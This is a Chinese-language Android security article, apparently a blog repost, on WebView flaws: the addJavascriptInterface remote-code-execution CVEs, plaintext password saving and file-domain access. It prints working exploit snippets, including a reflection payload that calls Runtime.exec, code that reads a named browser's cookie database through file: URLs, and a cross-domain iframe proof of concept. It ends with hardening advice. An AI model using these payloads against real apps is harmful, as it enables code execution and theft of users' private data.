Android安全开发之WebView中的地雷

2024-05-12 00:57:09

0X01 About WebView

在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等。WebView功能强大,应用广泛,但它是天使与恶魔的合体,一方面它增强了APP的上网体验,让APP功能更多样化,另一方面它也引入了很多的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等,这些安全问题可以直接导致用户敏感信息泄露,移动终端被恶意***者控制。下文将详细介绍这一系列安全问题,罗列相关的一些案列,并提供相应安全开发建议。

0X02 WebView任意代码执行漏洞

已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口会引起远程代码执行漏洞。接着是CVE-2013-4710,针对某些特定机型会存在addJavascriptInterface API引起的远程代码执行漏洞。之后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用,实现远程任意代码。再后来是CVE-2014-7224,类似于CVE-2014-1939,WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口,可被利用实现远程任意代码执行。

后文我们将围绕下面这段常见的示例代码展开:

WebView mWebView = (WebView)findViewById(R.id.webView);①WebSettings msetting = mWebView.getSettings();②msetting.setJavaScriptEnabled(true);③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs");④mWebView.loadUrl(getIntent().getStringExtra("url"));

CVE-2012-6636

Android系统为了方便APP中Java代码和网页中的Javascript脚本交互,在WebView控件中实现了addJavascriptInterface接口,对应示例代码中的③,网页中的JS脚本可以利用接口“myjs”调用App中的Java代码,而Java对象继承关系会导致很多Public的函数及getClass函数都可以在JS中被访问,结合Java的反射机制,***者还可以获得系统类的函数,进而可以进行任意代码执行。漏洞在2013年8月被披露后,很多APP都中招,其中浏览器APP成为重灾区。但截至目前任有很多APP中依然存在此漏洞,与以往不同的只是***入口发生了一定的变化。另外我们也发现一些小厂商的APP开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用addjs接口,明目张胆踩雷。

出于安全考虑,Google在API 17中规定允许被调用的函数必须以@JavascriptInterface进行注解,理论上如果APP依赖的API为17或者以上,就不会受该问题的影响。但部分机型上,API 17依然受影响,并且如果APP存在此漏洞,且targetsdk小于17,那漏洞的影响可以覆盖到android4.4的终端,如果大于等于17,只能在android4.2的机型上触发,所以前一种情况的危害目前来看依旧很大。

CVE-2014-1939

在2014年发现在Android4.4以下的系统中,webkit中默认内置了“searchBoxJavaBridge_”, 代码位于“java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁。

CVE-2014-7224

在2014年,研究人员Daoyuan Wu和Rocky Chang发现,当系统辅助功能服务被开启时,在Android4.4以下的系统中,由系统提供的WebView组件都默认导出"accessibility" 和"accessibilityTraversal"这两个接口,代码位于“android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁。

常见挂马页面

function addJsHack(cmdArgs){for (var obj in window){ try {if ("getClass" in window[obj]) {try{window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;}catch(e){}}} catch(e) {}}}addJsHack()

扫码***

图片来自于某漏洞收集平台,通过二维码扫描触发WebView任意代码执行漏洞:

以聚美优品为例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相关代码位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:

public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) {

......

this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);

}

0X03 WebView密码明文存储漏洞

WebView默认开启密码保存功能mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择"是",密码会被明文保到/data/data/com.package.name/databases/webview.db

0X04 WebView域控制不严格漏洞

setAllowFileAccess

Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。

360手机浏览器缺陷可导致用户敏感数据泄漏

以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的***页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,***页面关键代码:

function getDatabase() {

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

}

xmlhttp = request;

var prefix = "file:data/data/com.qihoo.browser/databases";

var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

var path = prefix.concat(postfix);

// 获取本地文件代码

xmlhttp.open("GET", path, false);

xmlhttp.send(null);

var ret = xmlhttp.responseText;

return ret;

}

漏洞利用代码:

copyFile(); //自定义函数,释放filehehe.html到sd卡上

String url = "file:///mnt/sdcard/filehehe.html";

Intent contIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intent intent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

0X05 WebView file跨域漏洞

Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示:

<iframe name=f src="www.baidu.com" ></iframe>

<script>

function init(){

f.location = "file:///default.prop";

}

setTimeout(init,5000)

</script>

在浏览器中打开服务器上的filereach.html,将从http域跳转到file域

0X06安全开发建议

1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位;

2)建议开发者通过以下方式移除该JavaScript接口:removeJavascriptInterface("searchBoxJavaBridge_")

removeJavascriptInterface("accessibility");

removeJavascriptInterface("accessibilityTraversal")

3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解

4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能

5)通过以下设置,防止越权访问,跨域等安全问题:

setAllowFileAccess(false)

setAllowFileAccessFromFileURLs(false)

setAllowUniversalAccessFromFileURLs(false)

0X07参考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

更多:腾讯御安全技术博客

转载于:https://blog.51cto.com/11642030/1844024

Android安全开发之WebView中的地雷相关推荐

  1. Android安全开发之WebView中的地雷 1

    0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者简单的展示一些在线内容等.WebView功能强大 ...

  2. android软件开发之webView.addJavascriptInterface循环渐进【二】

    说明 文章列表 android软件开发之webView.addJavascriptInterface循环渐进[一]: http://www.sollyu.com/android-software-de ...

  3. android软件开发之webView.addJavascriptInterface循环渐进【一】

    首先必要的啰嗦几句,这几天写VC写的累的要死,突然间不想再写想VC了,手里面有一个andriod的手机天天玩到半夜,却从来没有写过这方面的程序,真的是悲哀啊.所以我就想写这方面的程序,用管了VC的习程 ...

  4. android编程中添加gif,Android应用开发之【Android】使用android-gif-drawable包加载GIF动图...

    本文将带你了解Android应用开发之[Android]使用android-gif-drawable包加载GIF动图,希望本文对大家学Android有所帮助. [导包] 首先需要导入android-g ...

  5. android中base64加密,Android应用开发之android自带Base64加密解密

    本文将带你了解Android应用开发之android自带Base64加密解密,希望本文对大家学Android有所帮助. android项目引用不到以下两个java类 import sun.misc.B ...

  6. 安卓开发之WebView,进度条ProgressBar以及MediaPlayer和SonundPool的使用

    原 安卓开发之WebView,进度条ProgressBar以及MediaPlayer和SonundPool的使用 2018年06月06日 15:04:21 阅读数:106 内容比较简单,仅用作笔记,所 ...

  7. 镜像处理坐标 android,Android应用开发之Android重写ImageView实现图片镜像效果的代码教程...

    本文将带你了解Android应用开发之Android重写ImageView实现图片镜像效果的代码教程,希望本文对大家学Android有所帮助. 前两天朋友问我一个问题,如何实现从手机系统相册加载一张图 ...

  8. android 监听物理返回键,Android应用开发之react-native 监听Android物理返回键

    本文将带你了解Android应用开发之react-native 监听Android物理返回键,希望本文对大家学Android有所帮助. 1. componentWillMount(){         ...

  9. Android NDK开发之 NEON基础介绍

    原文:http://blog.csdn.net/app_12062011/article/details/50434259 Android NDK开发之 NEON基础介绍 这是官方介绍: http:/ ...

最新文章

  1. Win32汇编ListBox最简Demo
  2. 我是如何进入全球顶级AI实验室的 (1)
  3. javascript 实现快排 ,三向切分快排
  4. navicat连接mysql闪退_Navicat连接MySQL时报10060及1045错误及my.ini位置问题
  5. 计算机二级考试题停车收费,计算机二级考试真题-Excel-停车场调整收费标准
  6. ActiveMQ与spring整合
  7. CNKI学术趋势与万方数据的知识脉络
  8. 2017年中国大功率UPS市场需求、市场需求及市场结构占比分析预测
  9. 网络安装centos5.4
  10. 微软宣布 .NET 5 计划,支持跨平台、移动开发
  11. Super VLAN
  12. Android笔记——Windows环境下Android Studio v1.0安装教程
  13. I/O设备的基本概念和分类
  14. 【语音识别基础】总有一天你会用到,嗯,没有公式~
  15. python抽学号程序_python:简单的学生管理系统
  16. 操作系统学习笔记 002 安装NASM
  17. 数百GitHub私有代码库被黑客清空:不交赎金就公开源码!
  18. 交通信息工程 实验四:交通仿真实验(一)
  19. 解决edge可以访问github,谷歌却无法访问的问题
  20. 游戏服务器被攻击了怎么办?

热门文章

  1. 跨域访问的相关概念及解决方法
  2. Spring Boot + Activiti 工作流框架搭建
  3. redis java 发布订阅_Redis之发布订阅(Java)
  4. 隐藏终端、暴露终端和RTS、CTS机制
  5. Java中根据URL下载gif图片文件
  6. 怎么查询服务器绑定的网站吗,服务器绑定网站吗
  7. 计算机的需求配置,软件最佳运行对计算机配置最低要求怎样?
  8. sqlserver2000与sqlserver2005驱动与url的区别
  9. IDEA ---- 插件
  10. javaSE回顾---变量